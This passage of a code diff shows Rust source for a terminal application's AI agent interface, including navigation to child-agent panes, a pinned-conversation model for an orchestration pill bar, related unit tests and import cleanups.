pane_group_id_containing_terminal_view(owner, app).is_some()
|
||||
}
|
||||
|
||||
/// Finds the pane group containing the given terminal view across all
|
||||
/// visible panes/tabs. Used to distinguish same-tab vs cross-tab focus.
|
||||
pub(crate) fn pane_group_id_containing_terminal_view(
|
||||
terminal_view_id: EntityId,
|
||||
app: &AppContext,
|
||||
) -> Option<EntityId> {
|
||||
let registry = WorkspaceRegistry::as_ref(app);
|
||||
for (_, workspace_handle) in registry.all_workspaces(app) {
|
||||
let workspace = workspace_handle.as_ref(app);
|
||||
for pane_group_handle in workspace.tab_views() {
|
||||
let pane_group = pane_group_handle.as_ref(app);
|
||||
for pane_id in pane_group.visible_pane_ids() {
|
||||
if let Some(terminal_view) = pane_group.terminal_view_from_pane_id(pane_id, app) {
|
||||
if terminal_view.id() == terminal_view_id {
|
||||
return Some(pane_group_handle.id());
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
None
|
||||
}
|
||||
|
||||
/// Navigates to a child agent's pane: focuses an existing sibling pane,
|
||||
/// activates the owning tab, or splits off a new pane.
|
||||
pub(crate) fn dispatch_focus_or_open_child_agent_pane(
|
||||
conversation_id: AIConversationId,
|
||||
self_terminal_view_id: EntityId,
|
||||
ctx: &mut EventContext,
|
||||
app: &AppContext,
|
||||
) {
|
||||
if let Some(owner_view_id) =
|
||||
BlocklistAIHistoryModel::as_ref(app).terminal_surface_id_for_conversation(&conversation_id)
|
||||
{
|
||||
if owner_view_id != self_terminal_view_id {
|
||||
if let Some(owner_pane_group_id) =
|
||||
pane_group_id_containing_terminal_view(owner_view_id, app)
|
||||
{
|
||||
let self_pane_group_id =
|
||||
pane_group_id_containing_terminal_view(self_terminal_view_id, app);
|
||||
if Some(owner_pane_group_id) == self_pane_group_id {
|
||||
ctx.dispatch_typed_action(TerminalAction::RevealChildAgent { conversation_id });
|
||||
} else {
|
||||
ctx.dispatch_typed_action(WorkspaceAction::FocusTerminalViewInWorkspace {
|
||||
terminal_view_id: owner_view_id,
|
||||
});
|
||||
}
|
||||
return;
|
||||
}
|
||||
}
|
||||
}
|
||||
ctx.dispatch_typed_action(TerminalAction::OpenChildAgentInNewPane { conversation_id });
|
||||
}
|
||||
|
||||
pub(crate) fn parent_conversation_id(
|
||||
active_conversation: &AIConversation,
|
||||
app: &AppContext,
|
||||
@@ -54,19 +125,14 @@ pub(crate) fn parent_conversation_id(
|
||||
pub(crate) fn conversation_navigation_action(
|
||||
conversation_id: AIConversationId,
|
||||
app: &AppContext,
|
||||
) -> WorkspaceAction {
|
||||
AgentConversationsModel::as_ref(app)
|
||||
.get_conversation(&conversation_id)
|
||||
.and_then(|conversation| {
|
||||
conversation.get_open_action(Some(RestoreConversationLayout::SplitPane), app)
|
||||
})
|
||||
.unwrap_or(WorkspaceAction::RestoreOrNavigateToConversation {
|
||||
pane_view_locator: None,
|
||||
window_id: None,
|
||||
) -> Option<WorkspaceAction> {
|
||||
AgentConversationsModel::resolve_open_action(
|
||||
AgentConversationNavigationSubject::Entry(AgentConversationEntryId::Conversation(
|
||||
conversation_id,
|
||||
terminal_view_id: None,
|
||||
restore_layout: Some(RestoreConversationLayout::SplitPane),
|
||||
})
|
||||
)),
|
||||
Some(RestoreConversationLayout::SplitPane),
|
||||
app,
|
||||
)
|
||||
}
|
||||
|
||||
pub(crate) fn parent_conversation_navigation_card(
|
||||
@@ -79,7 +145,7 @@ pub(crate) fn parent_conversation_navigation_card(
|
||||
.conversation(&parent_conversation_id)
|
||||
.and_then(|conversation| conversation.title())
|
||||
.unwrap_or_else(|| "Parent conversation".to_string());
|
||||
let action = conversation_navigation_action(parent_conversation_id, app);
|
||||
let action = conversation_navigation_action(parent_conversation_id, app)?;
|
||||
Some(conversation_navigation_card(
|
||||
parent_title,
|
||||
Some("Back to parent conversation".to_string()),
|
||||
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,133 @@
|
||||
//! Shared singleton holding cross-pane UI state for the orchestration pill
|
||||
//! bar: the set of pinned child-agent conversations (persisted so pins
|
||||
//! survive restarts) and a per-orchestrator horizontal scroll handle so
|
||||
//! the pill row's scroll offset survives switching between sibling panes.
|
||||
use std::cell::RefCell;
|
||||
use std::collections::{HashMap, HashSet};
|
||||
|
||||
use warpui::elements::ClippedScrollStateHandle;
|
||||
use warpui::{Entity, ModelContext, SingletonEntity};
|
||||
|
||||
use crate::ai::agent::conversation::AIConversationId;
|
||||
use crate::ai::blocklist::{BlocklistAIHistoryEvent, BlocklistAIHistoryModel};
|
||||
|
||||
/// Toggle `id` in `pinned` — insert when absent, remove when present.
|
||||
/// Returns the new membership state (`true` = now pinned).
|
||||
/// Extracted so toggle semantics can be unit tested without a singleton.
|
||||
pub(super) fn toggle_pin_in_set(
|
||||
pinned: &mut HashSet<AIConversationId>,
|
||||
id: AIConversationId,
|
||||
) -> bool {
|
||||
if pinned.remove(&id) {
|
||||
false
|
||||
} else {
|
||||
pinned.insert(id);
|
||||
true
|
||||
}
|
||||
}
|
||||
|
||||
/// Singleton owning cross-pane UI state for the orchestration pill bar.
|
||||
pub struct OrchestrationPillBarModel {
|
||||
/// In-memory mirror of which child conversations are pinned. The
|
||||
/// persisted source of truth lives on each conversation; this set
|
||||
/// exists for fast lookups and cross-pane event notification.
|
||||
pinned: HashSet<AIConversationId>,
|
||||
/// One scroll handle per orchestrator conversation id. Every pill
|
||||
/// bar rendering the same orchestration tree clones the same handle
|
||||
/// so panning in one pane is reflected in sibling panes. `RefCell`
|
||||
/// so handles can be lazily created from `&AppContext` paths.
|
||||
horizontal_scroll_states: RefCell<HashMap<AIConversationId, ClippedScrollStateHandle>>,
|
||||
}
|
||||
|
||||
impl OrchestrationPillBarModel {
|
||||
/// Construct the singleton seeded with the set of conversation ids that
|
||||
/// were already pinned in persisted storage at startup.
|
||||
pub fn new(initial_pinned: HashSet<AIConversationId>, ctx: &mut ModelContext<Self>) -> Self {
|
||||
// Prune deleted conversations globally so per-pane code never
|
||||
// has to (and can't accidentally clobber sibling panes' pins).
|
||||
let history_handle = BlocklistAIHistoryModel::handle(ctx);
|
||||
ctx.subscribe_to_model(&history_handle, |this, _, event, ctx| match event {
|
||||
BlocklistAIHistoryEvent::RemoveConversation {
|
||||
conversation_id, ..
|
||||
}
|
||||
| BlocklistAIHistoryEvent::DeletedConversation {
|
||||
conversation_id, ..
|
||||
} => {
|
||||
if this.pinned.remove(conversation_id) {
|
||||
ctx.emit(OrchestrationPillBarEvent::PinSetChanged);
|
||||
}
|
||||
// Drop the matching scroll handle so deleted orchestrators
|
||||
// don't leak entries. No event needed — nothing subscribes
|
||||
// to scroll-state changes.
|
||||
this.horizontal_scroll_states
|
||||
.borrow_mut()
|
||||
.remove(conversation_id);
|
||||
}
|
||||
_ => {}
|
||||
});
|
||||
|
||||
Self {
|
||||
pinned: initial_pinned,
|
||||
horizontal_scroll_states: RefCell::new(HashMap::new()),
|
||||
}
|
||||
}
|
||||
|
||||
/// Returns `true` if the given conversation id is currently pinned.
|
||||
pub fn is_pinned(&self, conversation_id: &AIConversationId) -> bool {
|
||||
self.pinned.contains(conversation_id)
|
||||
}
|
||||
|
||||
/// Returns the shared horizontal scroll handle for the given
|
||||
/// orchestration tree, lazily creating one on first access. Every
|
||||
/// pill bar in that tree clones the same handle, so panning in one
|
||||
/// pane stays in sync with sibling panes.
|
||||
pub fn horizontal_scroll_state_for(
|
||||
&self,
|
||||
orchestrator_id: AIConversationId,
|
||||
) -> ClippedScrollStateHandle {
|
||||
self.horizontal_scroll_states
|
||||
.borrow_mut()
|
||||
.entry(orchestrator_id)
|
||||
.or_default()
|
||||
.clone()
|
||||
}
|
||||
|
||||
/// Toggle whether `conversation_id` is pinned, persist the new state to
|
||||
/// the underlying conversation, and notify subscribers.
|
||||
pub fn toggle_pin(&mut self, conversation_id: AIConversationId, ctx: &mut ModelContext<Self>) {
|
||||
let now_pinned = toggle_pin_in_set(&mut self.pinned, conversation_id);
|
||||
// Push the change down to the conversation so the next session
|
||||
// restore reflects it. Doing this even if the conversation isn't
|
||||
// yet loaded is fine — the in-memory set is the active source
|
||||
// until that conversation rehydrates.
|
||||
BlocklistAIHistoryModel::handle(ctx).update(ctx, |history, ctx| {
|
||||
history.set_conversation_pinned(conversation_id, now_pinned, ctx);
|
||||
});
|
||||
ctx.emit(OrchestrationPillBarEvent::PinSetChanged);
|
||||
}
|
||||
|
||||
/// Clears the in-memory pinned set and the scroll handle cache.
|
||||
/// Invoked on logout so the next user does not inherit the previous
|
||||
/// account's UI state; persisted pins are wiped by the sqlite reset
|
||||
/// that runs alongside logout.
|
||||
pub fn reset(&mut self) {
|
||||
self.pinned.clear();
|
||||
self.horizontal_scroll_states.borrow_mut().clear();
|
||||
}
|
||||
}
|
||||
|
||||
impl Entity for OrchestrationPillBarModel {
|
||||
type Event = OrchestrationPillBarEvent;
|
||||
}
|
||||
|
||||
impl SingletonEntity for OrchestrationPillBarModel {}
|
||||
|
||||
#[derive(Clone, Debug, PartialEq, Eq)]
|
||||
pub enum OrchestrationPillBarEvent {
|
||||
/// The pinned set changed (toggle or history-driven prune).
|
||||
PinSetChanged,
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
#[path = "orchestration_pill_bar_model_tests.rs"]
|
||||
mod tests;
|
||||
@@ -0,0 +1,146 @@
|
||||
use std::collections::HashSet;
|
||||
|
||||
use warpui::App;
|
||||
|
||||
use super::*;
|
||||
use crate::ai::agent::conversation::AIConversation;
|
||||
use crate::persistence::ModelEvent;
|
||||
use crate::test_util::settings::initialize_settings_for_tests;
|
||||
use crate::{GlobalResourceHandles, GlobalResourceHandlesProvider};
|
||||
|
||||
#[test]
|
||||
fn toggle_pin_in_set_flips_membership_for_each_call() {
|
||||
let mut pinned: HashSet<AIConversationId> = HashSet::new();
|
||||
let id = AIConversationId::new();
|
||||
|
||||
// Initially empty.
|
||||
assert!(!pinned.contains(&id));
|
||||
|
||||
// First toggle pins the id and reports the new state.
|
||||
assert!(toggle_pin_in_set(&mut pinned, id));
|
||||
assert!(pinned.contains(&id));
|
||||
assert_eq!(pinned.len(), 1);
|
||||
|
||||
// Second toggle unpins it.
|
||||
assert!(!toggle_pin_in_set(&mut pinned, id));
|
||||
assert!(!pinned.contains(&id));
|
||||
assert!(pinned.is_empty());
|
||||
|
||||
// Third toggle re-pins, confirming the function is idempotent under
|
||||
// pairs and doesn't accumulate state.
|
||||
assert!(toggle_pin_in_set(&mut pinned, id));
|
||||
assert!(pinned.contains(&id));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn toggle_pin_in_set_only_affects_target_id() {
|
||||
let mut pinned: HashSet<AIConversationId> = HashSet::new();
|
||||
let a = AIConversationId::new();
|
||||
let b = AIConversationId::new();
|
||||
|
||||
toggle_pin_in_set(&mut pinned, a);
|
||||
toggle_pin_in_set(&mut pinned, b);
|
||||
assert!(pinned.contains(&a));
|
||||
assert!(pinned.contains(&b));
|
||||
|
||||
// Unpinning `a` leaves `b` alone.
|
||||
toggle_pin_in_set(&mut pinned, a);
|
||||
assert!(!pinned.contains(&a));
|
||||
assert!(pinned.contains(&b));
|
||||
}
|
||||
|
||||
/// End-to-end check that toggling a pin (a) updates the in-memory
|
||||
/// `AIConversation.pinned` flag on the history model and (b) emits an
|
||||
/// `UpdateMultiAgentConversation` SQLite event carrying `pinned: true`,
|
||||
/// which is what makes the pin survive an app restart.
|
||||
#[test]
|
||||
fn toggle_pin_persists_pinned_state_to_sqlite_event() {
|
||||
App::test((), |mut app| async move {
|
||||
// `write_updated_conversation_state` reads `GeneralSettings`,
|
||||
// `AppExecutionMode`, and the global model_event_sender; wire all
|
||||
// three up so the SQLite write path actually runs.
|
||||
initialize_settings_for_tests(&mut app);
|
||||
let (sender, receiver) = std::sync::mpsc::sync_channel::<ModelEvent>(4);
|
||||
let mut global_resource_handles = GlobalResourceHandles::mock(&mut app);
|
||||
global_resource_handles.model_event_sender = Some(sender);
|
||||
app.add_singleton_model(|_| GlobalResourceHandlesProvider::new(global_resource_handles));
|
||||
|
||||
let history_model = app.add_singleton_model(|_| BlocklistAIHistoryModel::new(vec![], &[]));
|
||||
|
||||
// Restore a conversation that starts unpinned. The history model is
|
||||
// the source of truth for the persisted flag.
|
||||
let conversation = AIConversation::new(false, false);
|
||||
let conversation_id = conversation.id();
|
||||
let terminal_view_id = warpui::EntityId::new();
|
||||
history_model.update(&mut app, |model, ctx| {
|
||||
model.restore_conversations(terminal_view_id, vec![conversation], ctx);
|
||||
});
|
||||
|
||||
// Pin model must be registered after the history model because it
|
||||
// subscribes to history events on construction.
|
||||
let pin_model =
|
||||
app.add_singleton_model(|ctx| OrchestrationPillBarModel::new(HashSet::new(), ctx));
|
||||
|
||||
pin_model.update(&mut app, |model, ctx| {
|
||||
model.toggle_pin(conversation_id, ctx);
|
||||
});
|
||||
|
||||
// In-memory pin set reflects the toggle.
|
||||
pin_model.read(&app, |model, _| {
|
||||
assert!(
|
||||
model.is_pinned(&conversation_id),
|
||||
"pin set should contain the conversation after toggle"
|
||||
);
|
||||
});
|
||||
|
||||
// The conversation's persisted `pinned` flag is now true.
|
||||
history_model.read(&app, |model, _| {
|
||||
let pinned = model.conversation(&conversation_id).map(|c| c.is_pinned());
|
||||
assert_eq!(
|
||||
pinned,
|
||||
Some(true),
|
||||
"AIConversation.is_pinned() should reflect the toggle"
|
||||
);
|
||||
});
|
||||
|
||||
// The SQLite writer should have received an UpdateMultiAgentConversation
|
||||
// event with pinned=true. The fire-and-forget send happens on the
|
||||
// executor, so allow a short timeout.
|
||||
let event = receiver
|
||||
.recv_timeout(std::time::Duration::from_secs(1))
|
||||
.expect("expected an UpdateMultiAgentConversation event after toggle_pin");
|
||||
match event {
|
||||
ModelEvent::UpdateMultiAgentConversation {
|
||||
conversation_id: persisted_id,
|
||||
conversation_data,
|
||||
..
|
||||
} => {
|
||||
assert_eq!(persisted_id, conversation_id.to_string());
|
||||
assert!(
|
||||
conversation_data.pinned,
|
||||
"persisted AgentConversationData.pinned should be true"
|
||||
);
|
||||
}
|
||||
other => panic!("expected UpdateMultiAgentConversation, got {other:?}"),
|
||||
}
|
||||
|
||||
// Toggling again should write pinned=false through the same path.
|
||||
pin_model.update(&mut app, |model, ctx| {
|
||||
model.toggle_pin(conversation_id, ctx);
|
||||
});
|
||||
let event = receiver
|
||||
.recv_timeout(std::time::Duration::from_secs(1))
|
||||
.expect("expected a second UpdateMultiAgentConversation event after unpin");
|
||||
match event {
|
||||
ModelEvent::UpdateMultiAgentConversation {
|
||||
conversation_data, ..
|
||||
} => {
|
||||
assert!(
|
||||
!conversation_data.pinned,
|
||||
"persisted AgentConversationData.pinned should be false after unpin"
|
||||
);
|
||||
}
|
||||
other => panic!("expected UpdateMultiAgentConversation, got {other:?}"),
|
||||
}
|
||||
});
|
||||
}
|
||||
@@ -0,0 +1,199 @@
|
||||
use super::*;
|
||||
|
||||
// Traversal and canonical pill-order correctness are exercised in
|
||||
// `app/src/ai/blocklist/orchestration_topology_tests.rs`. These tests stay
|
||||
// focused on the pill bar's own dispatch behavior.
|
||||
|
||||
/// The data layer that `OrchestrationPillBar::pill_specs` reads must
|
||||
/// surface restored orchestration children before any pane has been created.
|
||||
///
|
||||
/// `pill_specs` (defined privately on `OrchestrationPillBar`) walks
|
||||
/// `descendant_conversation_ids_in_spawn_order(history, orchestrator_id)` and
|
||||
/// then `filter_map(|id| history.conversation(&id))`. The
|
||||
/// `history.conversation(&id)` lookup must return `Some` for restored
|
||||
/// children even before the parent's hidden pane materializes, or the pill
|
||||
/// bar renders nothing. This test asserts both layers work after
|
||||
/// `BlocklistAIHistoryModel::new` runs, before any `restore_conversations` /
|
||||
/// pane materialization.
|
||||
#[test]
|
||||
fn pill_bar_data_layer_finds_restored_children_before_pane_creation() {
|
||||
use chrono::Utc;
|
||||
use uuid::Uuid;
|
||||
use warpui::App;
|
||||
|
||||
use crate::ai::blocklist::orchestration_topology::descendant_conversation_ids_in_spawn_order;
|
||||
use crate::ai::blocklist::BlocklistAIHistoryModel;
|
||||
use crate::persistence::model::{
|
||||
AgentConversation, AgentConversationData, AgentConversationRecord,
|
||||
};
|
||||
|
||||
App::test((), |app| async move {
|
||||
let parent_id = AIConversationId::new();
|
||||
let child_id = AIConversationId::new();
|
||||
let parent_run_id = Uuid::new_v4().to_string();
|
||||
let child_run_id = Uuid::new_v4().to_string();
|
||||
let now = Utc::now().naive_utc();
|
||||
|
||||
let conversations = vec![
|
||||
AgentConversation {
|
||||
conversation: AgentConversationRecord {
|
||||
id: 1,
|
||||
conversation_id: child_id.to_string(),
|
||||
conversation_data: serde_json::to_string(&AgentConversationData {
|
||||
server_conversation_token: Some("child-token".to_string()),
|
||||
conversation_usage_metadata: None,
|
||||
reverted_action_ids: None,
|
||||
forked_from_server_conversation_token: None,
|
||||
artifacts_json: None,
|
||||
parent_agent_id: Some(parent_run_id.clone()),
|
||||
agent_name: Some("Agent 1".to_string()),
|
||||
orchestration_harness_type: None,
|
||||
parent_conversation_id: Some(parent_id.to_string()),
|
||||
is_remote_child: false,
|
||||
root_task_is_optimistic: None,
|
||||
run_id: Some(child_run_id.clone()),
|
||||
autoexecute_override: None,
|
||||
last_event_sequence: None,
|
||||
pinned: false,
|
||||
})
|
||||
.expect("child conversation data should serialize"),
|
||||
last_modified_at: now,
|
||||
},
|
||||
tasks: vec![warp_multi_agent_api::Task {
|
||||
id: format!("task-{child_id}"),
|
||||
messages: vec![warp_multi_agent_api::Message {
|
||||
fetched_memories: vec![],
|
||||
id: "child-msg".to_string(),
|
||||
task_id: format!("task-{child_id}"),
|
||||
server_message_data: String::new(),
|
||||
citations: vec![],
|
||||
message: Some(warp_multi_agent_api::message::Message::UserQuery(
|
||||
warp_multi_agent_api::message::UserQuery {
|
||||
query: "Child query".to_string(),
|
||||
context: None,
|
||||
referenced_attachments: Default::default(),
|
||||
mode: None,
|
||||
intended_agent: Default::default(),
|
||||
},
|
||||
)),
|
||||
request_id: "request-1".to_string(),
|
||||
timestamp: None,
|
||||
}],
|
||||
dependencies: None,
|
||||
description: "Child query".to_string(),
|
||||
summary: String::new(),
|
||||
server_data: String::new(),
|
||||
}],
|
||||
},
|
||||
AgentConversation {
|
||||
conversation: AgentConversationRecord {
|
||||
id: 2,
|
||||
conversation_id: parent_id.to_string(),
|
||||
conversation_data: serde_json::to_string(&AgentConversationData {
|
||||
server_conversation_token: Some("parent-token".to_string()),
|
||||
conversation_usage_metadata: None,
|
||||
reverted_action_ids: None,
|
||||
forked_from_server_conversation_token: None,
|
||||
artifacts_json: None,
|
||||
parent_agent_id: None,
|
||||
agent_name: None,
|
||||
orchestration_harness_type: None,
|
||||
parent_conversation_id: None,
|
||||
is_remote_child: false,
|
||||
root_task_is_optimistic: None,
|
||||
run_id: Some(parent_run_id.clone()),
|
||||
autoexecute_override: None,
|
||||
last_event_sequence: None,
|
||||
pinned: false,
|
||||
})
|
||||
.expect("parent conversation data should serialize"),
|
||||
last_modified_at: now - chrono::Duration::seconds(1),
|
||||
},
|
||||
tasks: vec![warp_multi_agent_api::Task {
|
||||
id: format!("task-{parent_id}"),
|
||||
messages: vec![warp_multi_agent_api::Message {
|
||||
fetched_memories: vec![],
|
||||
id: "parent-msg".to_string(),
|
||||
task_id: format!("task-{parent_id}"),
|
||||
server_message_data: String::new(),
|
||||
citations: vec![],
|
||||
message: Some(warp_multi_agent_api::message::Message::UserQuery(
|
||||
warp_multi_agent_api::message::UserQuery {
|
||||
query: "Parent query".to_string(),
|
||||
context: None,
|
||||
referenced_attachments: Default::default(),
|
||||
mode: None,
|
||||
intended_agent: Default::default(),
|
||||
},
|
||||
)),
|
||||
request_id: "request-2".to_string(),
|
||||
timestamp: None,
|
||||
}],
|
||||
dependencies: None,
|
||||
description: "Parent query".to_string(),
|
||||
summary: String::new(),
|
||||
server_data: String::new(),
|
||||
}],
|
||||
},
|
||||
];
|
||||
|
||||
let history_model =
|
||||
app.add_singleton_model(|_| BlocklistAIHistoryModel::new(vec![], &conversations));
|
||||
|
||||
history_model.read(&app, |model, _| {
|
||||
// pill_specs walks `descendant_conversation_ids_in_spawn_order`
|
||||
// first. This index must be populated for restored children at
|
||||
// app startup, before any pane materializes.
|
||||
let descendants = descendant_conversation_ids_in_spawn_order(model, parent_id);
|
||||
assert_eq!(
|
||||
descendants,
|
||||
vec![child_id],
|
||||
"orchestration topology must surface restored children before any pane is created",
|
||||
);
|
||||
|
||||
// pill_specs then collects pill specs via
|
||||
// `descendants.into_iter().filter_map(|id| history.conversation(&id))`.
|
||||
// The child must be hydrated eagerly so this lookup succeeds and
|
||||
// the pill bar renders; otherwise the filter_map would drop the
|
||||
// child (because `conversation(&child_id)` returned `None`) and
|
||||
// `pill_specs` would return `None` from the
|
||||
// `children.is_empty()` early-exit.
|
||||
let resolved_children: Vec<&AIConversation> = descendants
|
||||
.iter()
|
||||
.filter_map(|id| model.conversation(id))
|
||||
.collect();
|
||||
assert_eq!(
|
||||
resolved_children.len(),
|
||||
1,
|
||||
"restored child conversation must be available in conversations_by_id so \
|
||||
OrchestrationPillBar::pill_specs renders a child pill",
|
||||
);
|
||||
assert_eq!(resolved_children[0].id(), child_id);
|
||||
assert_eq!(resolved_children[0].agent_name(), Some("Agent 1"));
|
||||
});
|
||||
});
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn navigation_action_for_child_pill_reveals_existing_child_pane() {
|
||||
let conversation_id = AIConversationId::new();
|
||||
|
||||
assert!(matches!(
|
||||
navigation_action_for_pill(PillKind::Child, conversation_id),
|
||||
TerminalAction::RevealChildAgent {
|
||||
conversation_id: actual_id,
|
||||
} if actual_id == conversation_id
|
||||
));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn navigation_action_for_orchestrator_pill_switches_in_place() {
|
||||
let conversation_id = AIConversationId::new();
|
||||
|
||||
assert!(matches!(
|
||||
navigation_action_for_pill(PillKind::Orchestrator, conversation_id),
|
||||
TerminalAction::SwitchAgentViewToConversation {
|
||||
conversation_id: actual_id,
|
||||
} if actual_id == conversation_id
|
||||
));
|
||||
}
|
||||
@@ -1,27 +1,27 @@
|
||||
mod model;
|
||||
|
||||
pub use model::*;
|
||||
use pathfinder_color::ColorU;
|
||||
|
||||
use std::borrow::Cow;
|
||||
|
||||
use galaxy_core::{features::FeatureFlag, ui::appearance::Appearance};
|
||||
use galaxyui::{
|
||||
elements::{Border, Container, CrossAxisAlignment, Expanded, Flex, ParentElement, Text},
|
||||
keymap::Keystroke,
|
||||
ui_components::components::{Coords, UiComponent, UiComponentStyles},
|
||||
AppContext, Element, SingletonEntity,
|
||||
pub use model::*;
|
||||
use pathfinder_color::ColorU;
|
||||
use galaxy_core::features::FeatureFlag;
|
||||
use galaxy_core::ui::appearance::Appearance;
|
||||
use galaxyui::elements::{
|
||||
Border, Container, CrossAxisAlignment, Expanded, Flex, ParentElement, Text,
|
||||
};
|
||||
use warpui::keymap::Keystroke;
|
||||
use warpui::ui_components::components::{Coords, UiComponent, UiComponentStyles};
|
||||
use warpui::{AppContext, Element, SingletonEntity};
|
||||
|
||||
use crate::{
|
||||
ai::blocklist::agent_view::ENTER_AGENT_VIEW_NEW_CONVERSATION_KEYSTROKE,
|
||||
cmd_or_ctrl_shift,
|
||||
terminal::{self, TOGGLE_AUTOEXECUTE_MODE_KEYBINDING},
|
||||
ui_components::blended_colors,
|
||||
util::bindings::keybinding_name_to_keystroke,
|
||||
workspace::view::{
|
||||
TOGGLE_CONVERSATION_LIST_VIEW_BINDING_NAME, TOGGLE_RIGHT_PANEL_BINDING_NAME,
|
||||
},
|
||||
use crate::ai::blocklist::agent_view::{
|
||||
ENTER_AGENT_VIEW_NEW_CONVERSATION_KEYSTROKE, ENTER_CLOUD_AGENT_VIEW_NEW_CONVERSATION_KEYSTROKE,
|
||||
};
|
||||
use crate::cmd_or_ctrl_shift;
|
||||
use crate::terminal::{self, TOGGLE_AUTOEXECUTE_MODE_KEYBINDING};
|
||||
use crate::ui_components::blended_colors;
|
||||
use crate::util::bindings::keybinding_name_to_keystroke;
|
||||
use crate::workspace::view::{
|
||||
TOGGLE_CONVERSATION_LIST_VIEW_BINDING_NAME, TOGGLE_RIGHT_PANEL_BINDING_NAME,
|
||||
};
|
||||
|
||||
#[derive(Copy, Clone, Debug, Default)]
|
||||
@@ -259,7 +259,6 @@ pub fn render_agent_shortcuts_view(
|
||||
}
|
||||
|
||||
pub mod styles {
|
||||
use galaxy_core::ui::appearance::Appearance;
|
||||
|
||||
pub fn keystroke_size(appearance: &Appearance) -> f32 {
|
||||
font_size(appearance) + 2.
|
||||
|
||||
@@ -1,12 +1,9 @@
|
||||
use galaxy_core::send_telemetry_from_ctx;
|
||||
use galaxyui::{Entity, ModelContext, ModelHandle};
|
||||
|
||||
use galaxy_core::send_telemetry_from_ctx;
|
||||
|
||||
use crate::{
|
||||
ai::blocklist::agent_view::{AgentViewController, AgentViewControllerEvent},
|
||||
server::telemetry::TelemetryEvent,
|
||||
terminal::input::buffer_model::InputBufferModel,
|
||||
};
|
||||
use crate::ai::blocklist::agent_view::{AgentViewController, AgentViewControllerEvent};
|
||||
use crate::server::telemetry::TelemetryEvent;
|
||||
use crate::terminal::input::buffer_model::InputBufferModel;
|
||||
|
||||
/// Model responsible for managing state required to conditionally render the shortcuts view.
|
||||
pub struct AgentShortcutViewModel {
|
||||
@@ -19,12 +16,12 @@ impl AgentShortcutViewModel {
|
||||
agent_view_controller: ModelHandle<AgentViewController>,
|
||||
ctx: &mut ModelContext<Self>,
|
||||
) -> Self {
|
||||
ctx.subscribe_to_model(&input_buffer_model, |me, event, ctx| {
|
||||
ctx.subscribe_to_model(&input_buffer_model, |me, _, event, ctx| {
|
||||
if me.is_shortcut_view_open && !event.new_content.is_empty() {
|
||||
me.hide_shortcut_view(ctx);
|
||||
}
|
||||
});
|
||||
ctx.subscribe_to_model(&agent_view_controller, |me, event, ctx| {
|
||||
ctx.subscribe_to_model(&agent_view_controller, |me, _, event, ctx| {
|
||||
if matches!(event, AgentViewControllerEvent::ExitedAgentView { .. }) {
|
||||
me.hide_shortcut_view(ctx);
|
||||
}
|
||||
|
||||
@@ -1,57 +1,53 @@
|
||||
#![allow(dead_code, unused_imports, unused_variables)]
|
||||
use galaxy_core::{features::FeatureFlag, report_if_error, ui::Icon};
|
||||
use galaxyui::{
|
||||
elements::{
|
||||
Clipped, Container, CornerRadius, CrossAxisAlignment, Flex, FormattedTextElement,
|
||||
HighlightedHyperlink, MainAxisSize, MouseStateHandle, ParentElement, Radius, Shrinkable,
|
||||
Text,
|
||||
},
|
||||
fonts::{Properties, Weight},
|
||||
keymap::Keystroke,
|
||||
prelude::{Align, ConstrainedBox, Cursor, Empty, Hoverable, MainAxisAlignment, SavePosition},
|
||||
scene::Border,
|
||||
AppContext, Element, Entity, ModelHandle, SingletonEntity, TypedActionView, View, ViewContext,
|
||||
};
|
||||
use std::borrow::Cow;
|
||||
use std::cmp::Reverse;
|
||||
use std::path::Path;
|
||||
use std::sync::Arc;
|
||||
|
||||
use itertools::Itertools as _;
|
||||
use markdown_parser::{parse_markdown, FormattedText, FormattedTextFragment, FormattedTextLine};
|
||||
use parking_lot::FairMutex;
|
||||
use settings::Setting;
|
||||
use galaxy_core::features::FeatureFlag;
|
||||
use galaxy_core::report_if_error;
|
||||
use galaxy_core::ui::Icon;
|
||||
use galaxyui::elements::{
|
||||
Clipped, Container, CornerRadius, CrossAxisAlignment, Flex, FormattedTextElement,
|
||||
HighlightedHyperlink, MainAxisSize, MouseStateHandle, ParentElement, Radius, Shrinkable, Text,
|
||||
};
|
||||
use galaxyui::fonts::{Properties, Weight};
|
||||
use galaxyui::keymap::Keystroke;
|
||||
use galaxyui::prelude::{
|
||||
Align, ConstrainedBox, Cursor, Empty, Hoverable, MainAxisAlignment, SavePosition,
|
||||
};
|
||||
use galaxyui::scene::Border;
|
||||
use galaxyui::ui_components::components::{UiComponent as _, UiComponentStyles};
|
||||
use galaxyui::{
|
||||
Action, AppContext, Element, Entity, ModelHandle, SingletonEntity, TypedActionView, View,
|
||||
ViewContext,
|
||||
};
|
||||
use std::{borrow::Cow, cmp::Reverse, path::Path, sync::Arc};
|
||||
|
||||
use crate::{
|
||||
ai::{
|
||||
active_agent_views_model::{ActiveAgentViewsModel, ConversationOrTaskId},
|
||||
agent::conversation::AIConversationId,
|
||||
blocklist::{
|
||||
agent_view::{
|
||||
agent_view_bg_color, AgentViewController, AgentViewEntryOrigin,
|
||||
ENTER_AGENT_VIEW_NEW_CONVERSATION_KEYSTROKE,
|
||||
},
|
||||
history_model::{BlocklistAIHistoryEvent, BlocklistAIHistoryModel},
|
||||
},
|
||||
conversation_navigation::ConversationNavigationData,
|
||||
},
|
||||
appearance::Appearance,
|
||||
changelog_model::{self, ChangelogModel},
|
||||
settings::{AISettings, AISettingsChangedEvent},
|
||||
terminal::{
|
||||
self,
|
||||
event::BlockType,
|
||||
input::message_bar::{common::render_standard_message, Message, MessageItem},
|
||||
model::{
|
||||
blocks::BlockHeightItem,
|
||||
session::{BootstrapSessionType, Session, SessionType, Sessions},
|
||||
},
|
||||
model_events::{AnsiHandlerEvent, ModelEvent, ModelEventDispatcher},
|
||||
prompt,
|
||||
view::{
|
||||
ambient_agent::{AmbientAgentViewModel, AmbientAgentViewModelEvent},
|
||||
TerminalAction,
|
||||
},
|
||||
TerminalModel,
|
||||
},
|
||||
util::time_format::format_approx_duration_from_now_utc,
|
||||
use crate::ai::active_agent_views_model::{ActiveAgentViewsModel, ConversationOrTaskId};
|
||||
use crate::ai::agent::conversation::AIConversationId;
|
||||
use crate::ai::blocklist::agent_view::{
|
||||
agent_view_bg_color, AgentViewController, AgentViewEntryOrigin,
